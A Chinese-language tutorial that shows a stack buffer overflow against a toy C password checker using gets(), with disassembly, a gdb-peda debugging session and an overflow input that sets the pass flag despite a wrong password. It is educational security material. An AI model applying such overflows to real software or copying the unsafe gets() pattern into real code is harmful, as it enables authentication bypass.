文章目录
本文通过一个简单的密码验证的小程序来演示在输入密码错误的情况下仍然可以通过验证的方法。其中用到了缓冲区溢出的原理,通过该文章的学习,即可成功入门信息安全。
本文需要用到一些基础的汇编知识。
首先看程序的源码
程序源码
#include #include int main(void){ char buff[15]; int pass = 0 ; printf("n please input the passwordn"); gets(buff); if(strcmp(buff,"hello")){ printf("npassword wrongn"); } else{ printf("npassword rightn"); pass = 1; } if(pass){ printf("ncongratulationsn"); } return 0;}该代码首先分配了15个字节的buff和4个字节的pass。
接着使用gets函数接受输入存在buff中。(gets函数是不安全的,工作中使用一定要慎重哦!!)
接着该代码使用strcmp进行字符串比较判断输入的密码是否正确,如果正确则打印出password right,并打印出congratulations,如果错误,则打印出password wrong。
而我们的目的是在密码输入错误的情况下,让程序也能打印出congratulations。
接下来,我们就开始分析该程序。
汇编分析
通过反汇编,我们可以得到如下的代码:
gdb-peda$ pdisass mainDump of assembler code for function main(): 0x000000000040067d : push rbp 0x000000000040067e : mov rbp,rsp 0x0000000000400681 : sub rsp,0x20 0x0000000000400685 : mov DWORD PTR [rbp-0x4],0x0 0x000000000040068c : mov edi,0x400780 0x0000000000400691 : call 0x400550 0x0000000000400696 : lea rax,[rbp-0x20] 0x000000000040069a : mov rdi,rax 0x000000000040069d : call 0x400570 0x00000000004006a2 : lea rax,[rbp-0x20] 0x00000000004006a6 : mov esi,0x40079c 0x00000000004006ab : mov rdi,rax 0x00000000004006ae : call 0x400580 0x00000000004006b3 : test eax,eax 0x00000000004006b5 : je 0x4006c3 0x00000000004006b7 : mov edi,0x4007a2 0x00000000004006bc : call 0x400550 0x00000000004006c1 : jmp 0x4006d4 0x00000000004006c3 : mov edi,0x4007b2 0x00000000004006c8 : call 0x400550 0x00000000004006cd : mov DWORD PTR [rbp-0x4],0x1 0x00000000004006d4 : cmp DWORD PTR [rbp-0x4],0x0 0x00000000004006d8 : je 0x4006e4 0x00000000004006da : mov edi,0x4007c2 0x00000000004006df : call 0x400550 0x00000000004006e4 : mov eax,0x0 0x00000000004006e9 : leave 0x00000000004006ea : ret End of assembler dump.首先看下面这行:
sub rsp,0x20将rsp-0x20,相当于给栈区分配了32个字节的空间。0x20=32(十进制)。
我们的代码中,实际上只有15+4=19个字节的大小,但是因为内存对齐,实际上编译器分配了32个字节的空间。
char buff[15];int pass = 0 ; 接下来
mov DWORD PTR [rbp-0x4],0x0这一行实际上就是给pass进行赋值,pass=0。
接着往下可以看
0x0000000000400696 : lea rax,[rbp-0x20] 0x000000000040069a : mov rdi,rax 0x000000000040069d : call 0x400570 在get函数之前,有这么一句rbp-0x20,这个实际上就是buff的地址。
看到这里我们基本就对buff和pass存储的位置有了印象。
由于程序中使用的是gets函数,而gets函数是可以进行缓冲区溢出的,那么如果我们一次性将32个字节的内存区域全部填满,那么就可以将pass赋值为别的值,那么就有可能跳过密码检查。
根据猜想,我们输入:
aaaaaaaaaaaaaaaBBBBBBBBBBBBBBBBBBBBB如下所示:
# root @ localhost in /home/code/test [11:05:32] $ ./test please input the passwordaaaaaaaaaaaaaaaBBBBBBBBBBBBBBBBBBBBBpassword wrongcongratulations发现虽然打印出password wrong 但是还是打印出了congratulations。
程序调试
进入gdb 中,我们通过调试来验证我们的想法:
gdb-peda$ pdisass mainDump of assembler code for function main(): 0x000000000040067d : push rbp 0x000000000040067e : mov rbp,rsp 0x0000000000400681 : sub rsp,0x20 0x0000000000400685 : mov DWORD PTR [rbp-0x4],0x0 0x000000000040068c : mov edi,0x400780 0x0000000000400691 : call 0x400550 0x0000000000400696 : lea rax,[rbp-0x20] 0x000000000040069a : mov rdi,rax 0x000000000040069d : call 0x400570 0x00000000004006a2 : lea rax,[rbp-0x20] 0x00000000004006a6 : mov esi,0x40079c 0x00000000004006ab : mov rdi,rax 0x00000000004006ae : call 0x400580 0x00000000004006b3 : test eax,eax 0x00000000004006b5 : je 0x4006c3 0x00000000004006b7 : mov edi,0x4007a2 0x00000000004006bc : call 0x400550 0x00000000004006c1 : jmp 0x4006d4 0x00000000004006c3 : mov edi,0x4007b2 0x00000000004006c8 : call 0x400550 0x00000000004006cd : mov DWORD PTR [rbp-0x4],0x1 0x00000000004006d4 : cmp DWORD PTR [rbp-0x4],0x0 0x00000000004006d8 : je 0x4006e4 0x00000000004006da : mov edi,0x4007c2 0x00000000004006df : call 0x400550 0x00000000004006e4 : mov eax,0x0 0x00000000004006e9 : leave 0x00000000004006ea : ret End of assembler dump.12345678910111213141516171819202122232425262728293031下断点,输入密码:
gdb-peda$ b *main+49Breakpoint 1 at 0x4006ae: file test.cpp, line 12.gdb-peda$ RStarting program: /home/code/test/./test please input the passwordaaaaaaaaaaaaaaaBBBBBBBBBBBBBBBBBBBBB结果如下
[----------------------------------registers-----------------------------------]RAX: 0x7fffffffe2e0 ('a' , 'B' )RBX: 0x0 RCX: 0xfbad2288 RDX: 0x7ffff75b7a10 --> 0x0 RSI: 0x40079c --> 0x700a006f6c6c6568 ('hello')RDI: 0x7fffffffe2e0 ('a' , 'B' )RBP: 0x7fffffffe300 --> 0x42424242 ('BBBB')RSP: 0x7fffffffe2e0 ('a' , 'B' )RIP: 0x4006ae (: call 0x400580 )R8 : 0x7ffff7ff7025 --> 0x0 R9 : 0x0 R10: 0x24 ('$')R11: 0x246 R12: 0x400590 (: xor ebp,ebp)R13: 0x7fffffffe3e0 --> 0x1 R14: 0x0 R15: 0x0EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x4006a2 : lea rax,[rbp-0x20] 0x4006a6 : mov esi,0x40079c 0x4006ab : mov rdi,rax=> 0x4006ae : call 0x400580 0x4006b3 : test eax,eax 0x4006b5 : je 0x4006c3 0x4006b7 : mov edi,0x4007a2 0x4006bc : call 0x400550 Guessed arguments:arg[0]: 0x7fffffffe2e0 ('a' , 'B' )arg[1]: 0x40079c --> 0x700a006f6c6c6568 ('hello')[------------------------------------stack-------------------------------------]0000| 0x7fffffffe2e0 ('a' , 'B' )0008| 0x7fffffffe2e8 ("aaaaaaa", 'B' )0016| 0x7fffffffe2f0 ('B' )0024| 0x7fffffffe2f8 ('B' )0032| 0x7fffffffe300 --> 0x42424242 ('BBBB')0040| 0x7fffffffe308 --> 0x7ffff7210555 (: mov edi,eax)0048| 0x7fffffffe310 --> 0x0 0056| 0x7fffffffe318 --> 0x7fffffffe3e8 --> 0x7fffffffe68b ("/home/code/test/./test")[------------------------------------------------------------------------------]Legend: code, data, rodata, valueBreakpoint 1, 0x00000000004006ae in main () at test.cpp:1212 if(strcmp(buff,"hello")){12345678910111213141516171819202122232425262728293031323334353637383940414243444546通过gdb 打印出rbp pass和buff的地址,
gdb-peda$ p $rbp$4 = (void *) 0x7fffffffe300gdb-peda$ p &pass$5 = (int *) 0x7fffffffe2fcgdb-peda$ p &buff$6 = (char (*)[15]) 0x7fffffffe2e0rbp pass和buff 在内存地址的分配如下图所示:
栈区存储位置图
打印rsp地址向上32字节中的内容,我们发现已经将pass所在的位置替换成了
0x42 0x42 0x42 0x42,如下图所示:
栈区存储的数据
敲击c(continue),成功跳过了验证。
gdb-peda$ cContinuing.password wrongcongratulations[Inferior 1 (process 19009) exited normally]Warning: not running |